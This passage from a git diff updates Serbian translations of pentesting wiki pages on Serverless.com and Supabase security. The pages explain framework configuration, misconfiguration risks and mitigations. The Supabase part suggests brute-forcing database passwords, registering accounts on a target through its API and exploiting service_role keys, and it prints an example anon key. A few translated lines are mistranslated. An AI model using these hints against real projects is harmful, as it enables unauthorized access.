Automatic Tools +### Automatski Alati - [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** je alat za statičku analizu koda za infrastrukturu kao kod. -## References +## Reference - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index 72d85ad7c..70e04985b 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -1,8 +1,8 @@ -# Serverless.com Bezbednost +# Serverless.com Security {{#include ../banners/hacktricks-training.md}} -## Osnovne Informacije +## Osnovne informacije ### Organizacija @@ -32,9 +32,9 @@ handler: handler.hello Funkcija -Jedna **Funkcija** predstavlja jednu serverless funkciju, kao što je AWS Lambda funkcija. Sadrži kod koji se izvršava kao odgovor na događaje. +**Funkcija** predstavlja jednu serverless funkciju, kao što je AWS Lambda funkcija. Sadrži kod koji se izvršava kao odgovor na događaje. -Definira se u odeljku `functions` u `serverless.yml`, specificirajući handler, runtime, događaje, promenljive okruženja i druge postavke. +Definira se u odeljku `functions` u `serverless.yml`, navodeći handler, runtime, događaje, promenljive okruženja i druge postavke. ```yaml functions: hello: @@ -48,11 +48,11 @@ method: get
-Догађај +Dejstvo -**Догађаји** су тригери који активирају ваше серверлес функције. Они дефинишу како и када функција треба да се изврши. +**Dejstva** su okidači koji pozivaju vaše serverless funkcije. Oni definišu kako i kada funkcija treba da se izvrši. -Уобичајени типови догађаја укључују HTTP захтеве, заказане догађаје (cron послови), догађаје базе података, учитавање датотека и још много тога. +Uobičajeni tipovi dejstava uključuju HTTP zahteve, zakazane događaje (cron poslovi), događaje iz baze podataka, otpremanje fajlova i još mnogo toga. ```yaml functions: hello: @@ -72,7 +72,7 @@ rate: rate(10 minutes) **Resursi** vam omogućavaju da definišete dodatne cloud resurse na kojima vaša usluga zavisi, kao što su baze podataka, skladišni bucket-i ili IAM uloge. -Oni se definišu u `resources` sekciji, često koristeći CloudFormation sintaksu za AWS. +Oni se definišu u okviru `resources` sekcije, često koristeći CloudFormation sintaksu za AWS. ```yaml resources: Resources: @@ -112,12 +112,12 @@ stage: dev Faza i Region -Faza predstavlja različite okruženja (npr., razvoj, testiranje, proizvodnja) gde vaša usluga može biti postavljena. Omogućava konfiguracije i postavke specifične za okruženje. +Faza predstavlja različite okruženja (npr. razvoj, testiranje, proizvodnja) gde vaša usluga može biti postavljena. Omogućava konfiguracije i postavke specifične za okruženje. ```yaml provider: stage: dev ``` -Region definiše geografsku oblast u kojoj će vaši resursi biti postavljeni. Važno je za latenciju, usklađenost i dostupnost. +Region definiše geografsku oblast u kojoj će vaši resursi biti postavljeni. To je važno za latenciju, usklađenost i dostupnost. ```yaml provider: region: us-west-2 @@ -128,7 +128,7 @@ region: us-west-2 Plugins -**Plugins** proširuju funkcionalnost Serverless Framework-a dodavanjem novih funkcija ili integracijom sa drugim alatima i uslugama. Definisani su u `plugins` sekciji i instaliraju se putem npm-a. +**Plugins** proširuju funkcionalnost Serverless Framework-a dodavanjem novih funkcija ili integracijom sa drugim alatima i uslugama. Definišu se u sekciji `plugins` i instaliraju putem npm-a. ```yaml plugins: - serverless-offline @@ -138,9 +138,9 @@ plugins:
-Layers + slojevi -**Layers** omogućavaju da pakujete i upravljate deljenim kodom ili zavisnostima odvojeno od vaših funkcija. Ovo promoviše ponovnu upotrebu i smanjuje veličine paketa za implementaciju. Definišu se u `layers` sekciji i referenciraju ih funkcije. +** slojevi ** vam omogućavaju da pakujete i upravljate deljenim kodom ili zavisnostima odvojeno od vaših funkcija. To promoviše ponovnu upotrebu i smanjuje veličine paketa za implementaciju. Definišu se u odeljku `layers` i pozivaju ih funkcije. ```yaml layers: commonLibs: @@ -169,7 +169,7 @@ environment: TABLE_NAME: ${self:custom.tableName} ``` -* **Prilagođene Promenljive:** `custom` sekcija se koristi za definisanje korisničkih promenljivih i konfiguracija koje se mogu ponovo koristiti kroz `serverless.yml`. +* **Prilagođene Promenljive:** `custom` sekcija se koristi za definisanje korisnički specifičnih promenljivih i konfiguracija koje se mogu ponovo koristiti kroz `serverless.yml`. ```yaml custom: @@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- Promenljive okruženja -**Promenljive** vam omogućavaju da prosledite konfiguracione postavke i tajne vašim funkcijama bez hardkodiranja. Definisane su u `environment` sekciji za provajdera ili pojedinačne funkcije. +**Promenljive** vam omogućavaju da prosledite podešavanja konfiguracije i tajne vašim funkcijama bez hardkodiranja. Definisane su u `environment` sekciji za provajdera ili pojedinačne funkcije. ```yaml provider: environment: @@ -243,7 +243,7 @@ TABLE_NAME: ${self:custom.tableName} Zavisnosti -**Zavisnosti** upravljaju spoljnim bibliotekama i modulima koje vaše funkcije zahtevaju. Obično se upravljaju putem menadžera paketa kao što su npm ili pip, i pakovane su sa vašim paketom za implementaciju koristeći alate ili dodatke kao što je `serverless-webpack`. +**Zavisnosti** upravljaju spoljnim bibliotekama i modulima koje vaše funkcije zahtevaju. Obično se upravlja putem menadžera paketa kao što su npm ili pip, i paketu za implementaciju se dodaju koristeći alate ili dodatke kao što je `serverless-webpack`. ```yaml plugins: - serverless-webpack @@ -254,7 +254,7 @@ plugins: Hooks -**Hooks** omogućavaju vam da pokrenete prilagođene skripte ili komande u određenim tačkama u životnom ciklusu implementacije. Definišu se korišćenjem dodataka ili unutar `serverless.yml` da bi se izvršile radnje pre ili posle implementacija. +**Hooks** omogućavaju pokretanje prilagođenih skripti ili komandi u određenim tačkama u životnom ciklusu implementacije. Definišu se korišćenjem dodataka ili unutar `serverless.yml` da bi se izvršile radnje pre ili posle implementacija. ```yaml custom: hooks: @@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` -Ovo bi trebalo da kreira **aplikaciju** pod nazivom `tutorialapp` koju možete proveriti na [serverless.com](serverless.com-security.md) i folder pod nazivom `Tutorial` sa datotekom **`handler.js`** koja sadrži neki JS kod sa `helloworld` kodom i datotekom **`serverless.yml`** koja deklarira tu funkciju: +Ovo bi trebalo da kreira **aplikaciju** pod nazivom `tutorialapp` koju možete proveriti na [serverless.com](serverless.com-security.md) i folder pod nazivom `Tutorial` sa fajlom **`handler.js`** koji sadrži neki JS kod sa `helloworld` kodom i fajlom **`serverless.yml`** koji deklarira tu funkciju: {{#tabs }} {{#tab name="handler.js" }} @@ -399,7 +399,7 @@ Type: String ```
-5. U tutorijalu se traži da se kreira fajl `createCustomer.js` koji će u suštini kreirati novu API tačku koju obrađuje novi JS fajl i traži se da se izmeni fajl `serverless.yml` kako bi se generisala **nova DynamoDB tabela**, definisala **promenljiva okruženja**, uloga koja će koristiti generisane lambde. +5. Tutorijal traži da se kreira fajl `createCustomer.js` koji će u suštini kreirati novu API tačku koju obrađuje novi JS fajl i traži da se izmeni fajl `serverless.yml` kako bi se generisala **nova DynamoDB tabela**, definisala **promenljiva okruženja**, i uloga koja će koristiti generisane lambde. {{#tabs }} {{#tab name="createCustomer.js" }} @@ -481,13 +481,13 @@ TableName: ${self:service}-customerTable-${sls:stage} {{#endtab }} {{#endtabs }} -6. Deploy it running **`serverless deploy`** +6. Implementirajte ga koristeći **`serverless deploy`** 1. Implementacija će biti izvršena putem CloudFormation Stack-a -2. Imajte na umu da su **lambde izložene putem API gateway-a** i ne putem direktnih URL-ova -7. **Test it** -1. Prethodni korak će odštampati **URL-ove** gde su vaši API endpoint lambda funkcije implementirane +2. Imajte na umu da su **lambde izložene putem API gateway-a** a ne putem direktnih URL-ova +7. **Testirajte ga** +1. Prethodni korak će ispisati **URL-ove** gde su vaši API endpoint lambda funkcije implementirane -## Security Review of Serverless.com +## Bezbednosna provera Serverless.com ### **Pogrešno konfigurisane IAM uloge i dozvole** @@ -497,7 +497,7 @@ Kada nisu specificirane dozvole za Lambda funkciju, biće kreirana uloga sa dozv
-Minimum lambda permissions +Minimalne lambda dozvole ```json { "Version": "2012-10-17", @@ -527,7 +527,7 @@ Kada nisu specificirane dozvole za Lambda funkciju, biće kreirana uloga sa dozv #### **Strategije ublažavanja** -- **Princip najmanjih privilegija:** Dodelite samo neophodne dozvole svakoj funkciji. +- **Princip minimalnih privilegija:** Dodelite samo neophodne dozvole svakoj funkciji. ```yaml provider: @@ -567,23 +567,23 @@ DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} I čak i ako ovo sprečava hardkodiranje vrednosti promenljive okruženja u **`serverless.yml`** datoteci, vrednost će biti dobijena u vreme implementacije i biće **dodata u čistom tekstu unutar lambda promenljive okruženja**. > [!TIP] -> Preporučeni način za čuvanje promenljivih okruženja koristeći serveless.com bio bi da **sačuvate u AWS tajni** i samo sačuvate ime tajne u promenljivoj okruženja, a **lambda kod bi trebao da je prikupi**. +> Preporučeni način čuvanja promenljivih okruženja koristeći serveless.com bio bi da **se čuva u AWS tajni** i samo se ime tajne čuva u promenljivoj okruženja, a **lambda kod bi to trebao prikupiti**. #### **Strategije ublažavanja** -- **Integracija sa Tajnim Menadžerom:** Koristite usluge kao što je **AWS Secrets Manager.** -- **Enkriptovane Promenljive:** Iskoristite funkcije enkripcije Serverless Framework-a za osetljive podatke. -- **Kontrola Pristupa:** Ograničite pristup tajnama na osnovu uloga. +- **Integracija sa Secrets Manager:** Koristite usluge kao što je **AWS Secrets Manager.** +- **Enkriptovane promenljive:** Iskoristite funkcije enkripcije Serverless Framework-a za osetljive podatke. +- **Kontrola pristupa:** Ograničite pristup tajnama na osnovu uloga. --- -### **Ranljiv Kôd i Zavisnosti** +### **Ranljiv kod i zavisnosti** Zastarale ili nesigurne zavisnosti mogu uvesti ranjivosti, dok nepravilno rukovanje ulazima može dovesti do napada injekcijom koda. #### **Strategije ublažavanja** -- **Upravljanje Zavisnostima:** Redovno ažurirajte zavisnosti i skenirajte za ranjivosti. +- **Upravljanje zavisnostima:** Redovno ažurirajte zavisnosti i skenirajte za ranjivosti. ```yaml plugins: @@ -591,38 +591,38 @@ plugins: - serverless-plugin-snyk ``` -- **Validacija Ulaza:** Implementirajte strogu validaciju i sanitizaciju svih ulaza. -- **Revizije Kôda:** Sprovodite temeljne revizije kako biste identifikovali sigurnosne propuste. -- **Statička Analiza:** Koristite alate za otkrivanje ranjivosti u bazi koda. +- **Validacija ulaza:** Implementirajte strogu validaciju i sanitizaciju svih ulaza. +- **Revizije koda:** Sprovodite temeljne revizije kako biste identifikovali sigurnosne propuste. +- **Statička analiza:** Koristite alate za otkrivanje ranjivosti u kodnoj bazi. --- -### **Neadekvatno Logovanje i Praćenje** +### **Neadekvatno logovanje i nadgledanje** -Bez pravilnog logovanja i praćenja, zlonamerne aktivnosti mogu ostati neprimećene, odlažući odgovor na incidente. +Bez pravilnog logovanja i nadgledanja, zlonamerne aktivnosti mogu ostati neprimećene, odlažući odgovor na incidente. #### **Strategije ublažavanja** -- **Centralizovano Logovanje:** Agregirajte logove koristeći usluge kao što su **AWS CloudWatch** ili **Datadog**. +- **Centralizovano logovanje:** Agregirajte logove koristeći usluge kao što su **AWS CloudWatch** ili **Datadog**. ```yaml plugins: - serverless-plugin-datadog ``` -- **Omogućite Detaljno Logovanje:** Zabeležite bitne informacije bez izlaganja osetljivih podataka. -- **Postavite Alarme:** Konfigurišite alarme za sumnjive aktivnosti ili anomalije. -- **Redovno Praćenje:** Kontinuirano pratite logove i metrike za potencijalne sigurnosne incidente. +- **Omogućite detaljno logovanje:** Zabeležite bitne informacije bez izlaganja osetljivih podataka. +- **Postavite upozorenja:** Konfigurišite upozorenja za sumnjive aktivnosti ili anomalije. +- **Redovno nadgledanje:** Kontinuirano nadgledajte logove i metrike za potencijalne sigurnosne incidente. --- -### **Neosigurane Konfiguracije API Gateway-a** +### **Nesigurne konfiguracije API Gateway-a** Otvoreni ili nepravilno zaštićeni API-ji mogu se iskoristiti za neovlašćen pristup, napade uskraćivanja usluge (DoS) ili napade između sajtova. #### **Strategije ublažavanja** -- **Autentifikacija i Autorizacija:** Implementirajte robusne mehanizme kao što su OAuth, API ključevi ili JWT. +- **Autentifikacija i autorizacija:** Implementirajte robusne mehanizme kao što su OAuth, API ključevi ili JWT. ```yaml functions: @@ -635,7 +635,7 @@ method: get authorizer: aws_iam ``` -- **Ograničavanje Brzine i Throttling:** Sprečite zloupotrebu ograničavanjem brzine zahteva. +- **Ograničavanje brzine i throttling:** Sprečite zloupotrebu ograničavanjem brzine zahteva. ```yaml provider: @@ -645,7 +645,7 @@ burstLimit: 200 rateLimit: 100 ``` -- **Sigurna CORS Konfiguracija:** Ograničite dozvoljene izvore, metode i zaglavlja. +- **Sigurna CORS konfiguracija:** Ograničite dozvoljene izvore, metode i zaglavlja. ```yaml functions: @@ -661,19 +661,19 @@ headers: - Content-Type ``` -- **Koristite Vatrozide za Web Aplikacije (WAF):** Filtrirajte i pratite HTTP zahteve za zlonamernim obrascima. +- **Koristite vatrozide za web aplikacije (WAF):** Filtrirajte i nadgledajte HTTP zahteve za zlonamernim obrascima. --- -### **Nedovoljna Izolacija Funkcija** +### **Nedovoljna izolacija funkcija** Deljeni resursi i nedovoljna izolacija mogu dovesti do eskalacije privilegija ili nenamernih interakcija između funkcija. #### **Strategije ublažavanja** -- **Izolujte Funkcije:** Dodelite različite resurse i IAM uloge kako biste osigurali nezavisno delovanje. -- **Particionisanje Resursa:** Koristite odvojene baze podataka ili skladišne kante za različite funkcije. -- **Koristite VPC-e:** Implementirajte funkcije unutar Virtuelnih Privatnih Oblaka za poboljšanu mrežnu izolaciju. +- **Izolujte funkcije:** Dodelite različite resurse i IAM uloge kako biste osigurali nezavisno delovanje. +- **Partitioning resursa:** Koristite odvojene baze podataka ili skladišne kante za različite funkcije. +- **Koristite VPC:** Implementirajte funkcije unutar Virtuelnih Privatnih Oblaka za poboljšanu mrežnu izolaciju. ```yaml provider: @@ -684,17 +684,17 @@ subnetIds: - subnet-xxxxxx ``` -- **Ograničite Dozvole Funkcija:** Osigurajte da funkcije ne mogu pristupiti ili ometati resurse jedne druge osim ako to nije izričito potrebno. +- **Ograničite dozvole funkcija:** Osigurajte da funkcije ne mogu pristupiti ili ometati resurse jedne druge osim ako to nije izričito zahtevano. --- -### **Nedovoljna Zaštita Podataka** +### **Nedovoljna zaštita podataka** Nešifrovani podaci u mirovanju ili u tranzitu mogu biti izloženi, što može dovesti do curenja podataka ili manipulacije. #### **Strategije ublažavanja** -- **Šifrujte Podatke u Mirovanju:** Iskoristite funkcije šifrovanja usluga u oblaku. +- **Šifrujte podatke u mirovanju:** Iskoristite funkcije šifrovanja usluga u oblaku. ```yaml resources: @@ -706,19 +706,19 @@ SSESpecification: SSEEnabled: true ``` -- **Šifrujte Podatke u Tranzitu:** Koristite HTTPS/TLS za sve prenose podataka. -- **Osigurajte API Komunikaciju:** Sprovodite protokole šifrovanja i validirajte sertifikate. -- **Sigurno Upravljanje Ključevima za Šifrovanje:** Koristite upravljane usluge ključeva i redovno rotirajte ključeve. +- **Šifrujte podatke u tranzitu:** Koristite HTTPS/TLS za sve prenose podataka. +- **Osigurajte API komunikaciju:** Sprovodite protokole šifrovanja i validirajte sertifikate. +- **Sigurno upravljajte šifrovanjem ključeva:** Koristite upravljane usluge ključeva i redovno rotirajte ključeve. --- -### **Nedostatak Pravilnog Rukovanja Greškama** +### **Nedostatak pravilnog rukovanja greškama** -Detaljne poruke o greškama mogu otkriti osetljive informacije o infrastrukturi ili bazi koda, dok neobrađene izuzetke mogu dovesti do rušenja aplikacije. +Detaljne poruke o greškama mogu otkriti osetljive informacije o infrastrukturi ili kodnoj bazi, dok neobrađene izuzetke mogu dovesti do rušenja aplikacije. #### **Strategije ublažavanja** -- **Generičke Poruke o Greškama:** Izbegavajte izlaganje internih detalja u odgovorima na greške. +- **Generičke poruke o greškama:** Izbegavajte izlaganje internih detalja u odgovorima na greške. ```javascript javascriptCopy code// Primer u Node.js @@ -729,84 +729,84 @@ try { console.error(error); return { statusCode: 500, -body: JSON.stringify({ message: 'Interna Greška Servera' }), +body: JSON.stringify({ message: 'Internal Server Error' }), }; } }; ``` -- **Centralizovano Rukovanje Greškama:** Upravljajte i sanitizujte greške dosledno kroz sve funkcije. -- **Pratite i Logujte Greške:** Pratite i analizirajte greške interno bez izlaganja detalja krajnjim korisnicima. +- **Centralizovano rukovanje greškama:** Upravite i sanitizujte greške dosledno kroz sve funkcije. +- **Nadgledajte i logujte greške:** Pratite i analizirajte greške interno bez izlaganja detalja krajnjim korisnicima. --- -### **Neosigurane Prakse Implementacije** +### **Nesigurne prakse implementacije** -Izložene konfiguracije implementacije ili neovlašćen pristup CI/CD cevovodima mogu dovesti do zlonamernih implementacija koda ili pogrešnih konfiguracija. +Izložene konfiguracije implementacije ili neovlašćen pristup CI/CD pipelinima mogu dovesti do zlonamernih implementacija koda ili pogrešnih konfiguracija. #### **Strategije ublažavanja** -- **Osigurajte CI/CD Cevovode:** Implementirajte stroge kontrole pristupa, višefaktorsku autentifikaciju (MFA) i redovne revizije. -- **Sigurno Čuvanje Konfiguracije:** Držite datoteke za implementaciju bez hardkodiranih tajni i osetljivih podataka. -- **Koristite Alate za Bezbednost Infrastrukture kao Koda (IaC):** Koristite alate kao što su **Checkov** ili **Terraform Sentinel** za sprovođenje sigurnosnih politika. -- **Neizmenljive Implementacije:** Sprečite neovlašćene promene nakon implementacije usvajanjem praksi neizmenljive infrastrukture. +- **Sigurni CI/CD pipelini:** Implementirajte stroge kontrole pristupa, višefaktorsku autentifikaciju (MFA) i redovne revizije. +- **Sigurno čuvanje konfiguracije:** Držite datoteke za implementaciju bez hardkodiranih tajni i osetljivih podataka. +- **Koristite alate za sigurnost infrastrukture kao koda (IaC):** Koristite alate kao što su **Checkov** ili **Terraform Sentinel** za sprovođenje sigurnosnih politika. +- **Imutabilne implementacije:** Sprečite neovlašćene promene nakon implementacije usvajanjem praksi imutabilne infrastrukture. --- -### **Ranjivosti u Plugin-ima i Ekstenzijama** +### **Ranjivosti u dodacima i ekstenzijama** -Korišćenje neproverenih ili zlonamernih trećih strana plugin-a može uvesti ranjivosti u vaše serverless aplikacije. +Korišćenje neproverenih ili zlonamernih dodataka trećih strana može uvesti ranjivosti u vaše serverless aplikacije. #### **Strategije ublažavanja** -- **Temeljno Proverite Plugin-e:** Procijenite sigurnost plugin-a pre integracije, favorizujući one iz uglednih izvora. -- **Ograničite Korišćenje Plugin-a:** Koristite samo neophodne plugin-e kako biste smanjili površinu napada. -- **Pratite Ažuriranja Plugin-a:** Držite plugin-e ažuriranim kako biste imali koristi od sigurnosnih zakrpa. -- **Izolujte Okruženja Plugin-a:** Pokrećite plugin-e u izolovanim okruženjima kako biste sadržali potencijalne kompromitacije. +- **Temeljno proverite dodatke:** Procijenite sigurnost dodataka pre integracije, favorizujući one iz uglednih izvora. +- **Ograničite korišćenje dodataka:** Koristite samo neophodne dodatke kako biste smanjili površinu napada. +- **Nadgledajte ažuriranja dodataka:** Držite dodatke ažuriranim kako biste imali koristi od sigurnosnih zakrpa. +- **Izolujte okruženja dodataka:** Pokrećite dodatke u izolovanim okruženjima kako biste ograničili potencijalne kompromitacije. --- -### **Izloženost Osetljivim Krajnjim Tačkama** +### **Izloženost osetljivih krajnjih tačaka** Javno dostupne funkcije ili neograničeni API-ji mogu se iskoristiti za neovlašćene operacije. #### **Strategije ublažavanja** -- **Ograničite Pristup Funkcijama:** Koristite VPC-e, sigurnosne grupe i pravila vatrozida kako biste ograničili pristup pouzdanim izvorima. -- **Implementirajte Robusnu Autentifikaciju:** Osigurajte da sve izložene krajnje tačke zahtevaju pravilnu autentifikaciju i autorizaciju. -- **Sigurno Koristite API Gateway-e:** Konfigurišite API Gateway-e da sprovode sigurnosne politike, uključujući validaciju ulaza i ograničavanje brzine. -- **Onemogućite Neiskorišćene Krajnje Tačke:** Redovno pregledajte i onemogućite sve krajnje tačke koje više nisu u upotrebi. +- **Ograničite pristup funkcijama:** Koristite VPC, sigurnosne grupe i pravila vatrozida kako biste ograničili pristup pouzdanim izvorima. +- **Implementirajte robusnu autentifikaciju:** Osigurajte da sve izložene krajnje tačke zahtevaju odgovarajuću autentifikaciju i autorizaciju. +- **Sigurno koristite API Gateway:** Konfigurišite API Gateway da sprovodi sigurnosne politike, uključujući validaciju ulaza i ograničavanje brzine. +- **Onemogućite neiskorišćene krajnje tačke:** Redovno pregledajte i onemogućite sve krajnje tačke koje više nisu u upotrebi. --- -### **Prekomerne Dozvole za Članove Tima i Spoljne Saradnike** +### **Prekomerne dozvole za članove tima i spoljne saradnike** Dodeljivanje prekomernih dozvola članovima tima i spoljnim saradnicima može dovesti do neovlašćenog pristupa, curenja podataka i zloupotrebe resursa. Ovaj rizik se povećava u okruženjima gde više pojedinaca ima različite nivoe pristupa, povećavajući površinu napada i potencijal za unutrašnje pretnje. #### **Strategije ublažavanja** -- **Princip Najmanjih Privilegija:** Osigurajte da članovi tima i saradnici imaju samo one dozvole koje su neophodne za obavljanje njihovih zadataka. +- **Princip najmanjih privilegija:** Osigurajte da članovi tima i saradnici imaju samo one dozvole koje su neophodne za obavljanje svojih zadataka. --- -### **Bezbednost Pristupnih Ključeva i Ključeva Licenci** +### **Bezbednost pristupnih ključeva i licenci** -**Pristupni Ključevi** i **Ključevi Licenci** su kritične akreditive koji se koriste za autentifikaciju i autorizaciju interakcija sa Serverless Framework CLI. +**Pristupni ključevi** i **ključevi licenci** su kritične akreditive koji se koriste za autentifikaciju i autorizaciju interakcija sa Serverless Framework CLI. -- **Ključevi Licenci:** Oni su jedinstveni identifikatori potrebni za autentifikaciju pristupa Serverless Framework verziji 4 koja omogućava prijavu putem CLI. -- **Pristupni Ključevi:** Akreditive koje omogućavaju Serverless Framework CLI da se autentifikuje sa Serverless Framework Dashboard-om. Kada se prijavite sa `serverless` cli, pristupni ključ će biti **generisan i sačuvan na laptopu**. Takođe ga možete postaviti kao promenljivu okruženja pod imenom `SERVERLESS_ACCESS_KEY`. +- **Ključevi licenci:** Oni su jedinstveni identifikatori potrebni za autentifikaciju pristupa Serverless Framework verziji 4 koja omogućava prijavu putem CLI. +- **Pristupni ključevi:** Akreditive koje omogućavaju Serverless Framework CLI da se autentifikuje sa Serverless Framework Dashboard-om. Kada se prijavite sa `serverless` cli, pristupni ključ će biti **generisan i sačuvan na laptopu**. Takođe ga možete postaviti kao promenljivu okruženja pod imenom `SERVERLESS_ACCESS_KEY`. -#### **Sigurnosni Rizici** +#### **Sigurnosni rizici** -1. **Izloženost Kroz Repozitorijume Koda:** +1. **Izloženost kroz repozitorijume koda:** - Hardkodiranje ili slučajno komitovanje pristupnih ključeva i ključeva licenci u sisteme za kontrolu verzija može dovesti do neovlašćenog pristupa. -2. **Nesigurno Čuvanje:** +2. **Nesigurno čuvanje:** - Čuvanje ključeva u čistom tekstu unutar promenljivih okruženja ili konfiguracionih datoteka bez odgovarajuće enkripcije povećava verovatnoću curenja. -3. **Nepravilna Distribucija:** +3. **Nepravilna distribucija:** - Deljenje ključeva putem nesigurnih kanala (npr. e-pošta, chat) može rezultirati presretanjem od strane zlonamernih aktera. -4. **Nedostatak Rotacije:** -- Nepostojanje redovne rotacije ključeva produžava period izloženosti ako su ključevi kompromitovani. -5. **Prekomerne Dozvole:** -- Ključevi sa širokim dozvolama mogu se iskoristiti za obavljanje neovlašćenih radnji širom više resursa. +4. **Nedostatak rotacije:** +- Ne redovno rotiranje ključeva produžava period izloženosti ako su ključevi kompromitovani. +5. **Prekomerne dozvole:** +- Ključevi sa širokim dozvolama mogu se iskoristiti za obavljanje neovlašćenih radnji na više resursa. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 4eab43410..8c81edf5c 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -2,44 +2,44 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Osnovne informacije -Prema njihovoj [**landing stranici**](https://supabase.com/): Supabase je open source alternativa za Firebase. Započnite svoj projekat sa Postgres bazom podataka, autentifikacijom, instant API-ima, Edge funkcijama, Realtime pretplatama, skladištem i vektorskim ugradnjama. +Prema njihovoj [**početnoj stranici**](https://supabase.com/): Supabase je open source alternativa Firebase-u. Započnite svoj projekat sa Postgres bazom podataka, autentifikacijom, instant API-ima, Edge funkcijama, Realtime pretplatama, skladištem i vektorskim ugradnjama. -### Subdomen +### Poddomen -U suštini, kada se projekat kreira, korisnik će dobiti supabase.co subdomen kao: **`jnanozjdybtpqgcwhdiz.supabase.co`** +U suštini, kada se projekat kreira, korisnik će dobiti supabase.co poddomen kao: **`jnanozjdybtpqgcwhdiz.supabase.co`** ## **Konfiguracija baze podataka** > [!TIP] -> **Ovi podaci se mogu pristupiti putem linka kao što je `https://supabase.com/dashboard/project//settings/database`** +> **Ovi podaci se mogu pristupiti putem linka kao `https://supabase.com/dashboard/project//settings/database`** Ova **baza podataka** će biti postavljena u nekoj AWS regiji, i da bi se povezali na nju, moguće je to učiniti povezivanjem na: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (ova je kreirana u us-west-1).\ Lozinka je **lozinka koju je korisnik prethodno postavio**. -Stoga, pošto je subdomen poznat i koristi se kao korisničko ime, a AWS regije su ograničene, može biti moguće pokušati da **brute force-ujete lozinku**. +Stoga, pošto je poddomen poznat i koristi se kao korisničko ime, a AWS regije su ograničene, može biti moguće pokušati **brute force napad na lozinku**. -Ovaj odeljak takođe sadrži opcije za: +Ovaj deo takođe sadrži opcije za: - Resetovanje lozinke baze podataka - Konfiguraciju povezivanja -- Konfiguraciju SSL: Odbijanje plan-text konekcija (po defaultu su omogućene) +- Konfiguraciju SSL: Odbijanje plain-text konekcija (po defaultu su omogućene) - Konfiguraciju veličine diska - Primenu mrežnih ograničenja i zabrana ## Konfiguracija API-ja > [!TIP] -> **Ovi podaci se mogu pristupiti putem linka kao što je `https://supabase.com/dashboard/project//settings/api`** +> **Ovi podaci se mogu pristupiti putem linka kao `https://supabase.com/dashboard/project//settings/api`** URL za pristup supabase API-ju u vašem projektu biće: `https://jnanozjdybtpqgcwhdiz.supabase.co`. ### anon api ključevi -Takođe će generisati **anon API ključ** (`role: "anon"`), kao: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` koji će aplikacija morati da koristi da bi kontaktirala API ključ izložen u našem primeru u +Takođe će generisati **anon API ključ** (`role: "anon"`), kao: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` koji će aplikacija morati da koristi kako bi kontaktirala API ključ izložen u našem primeru u -Moguće je pronaći API REST za kontaktiranje ovog API-ja u [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), ali najzanimljiviji endpointi bi bili: +Moguće je pronaći API REST za kontaktiranje ovog API-ja u [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), ali najzanimljiviji krajnji tačke biće:
@@ -101,7 +101,7 @@ Priority: u=1, i Dakle, kada otkrijete klijenta koji koristi supabase sa poddomenom koja im je dodeljena (moguće je da poddomena kompanije ima CNAME preko njihove supabase poddomene), možete pokušati da **napravite novi nalog na platformi koristeći supabase API**. -### tajni / service_role api ključevi +### tajni / service_role API ključevi Tajni API ključ će takođe biti generisan sa **`role: "service_role"`**. Ovaj API ključ treba da bude tajan jer će moći da zaobiđe **Row Level Security**. @@ -116,10 +116,10 @@ API ključ izgleda ovako: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBh ### Registracije > [!TIP] -> Po **defaultu** supabase će omogućiti **novim korisnicima da kreiraju naloge** na vašem projektu koristeći prethodno pomenute API krajnje tačke. +> Po **zadovoljstvu** supabase će omogućiti **novim korisnicima da kreiraju naloge** na vašem projektu koristeći prethodno pomenute API krajnje tačke. -Međutim, ovi novi nalozi, po defaultu, **će morati da verifikuju svoju email adresu** da bi mogli da se prijave na nalog. Moguće je omogućiti **"Dozvoli anonimne prijave"** kako bi ljudi mogli da se prijave bez verifikacije svoje email adrese. Ovo bi moglo omogućiti pristup **neočekivanim podacima** (dobijaju uloge `public` i `authenticated`).\ -Ovo je veoma loša ideja jer supabase naplaćuje po aktivnom korisniku, tako da bi ljudi mogli da kreiraju korisnike i prijave se, a supabase će naplatiti za njih: +Međutim, ovi novi nalozi, po defaultu, **će morati da verifikuju svoju email adresu** da bi mogli da se prijave na nalog. Moguće je omogućiti **"Dozvoli anonimne prijave"** kako bi se ljudima omogućilo da se prijave bez verifikacije svoje email adrese. Ovo može omogućiti pristup **neočekivanim podacima** (dobijaju uloge `public` i `authenticated`).\ +Ovo je veoma loša ideja 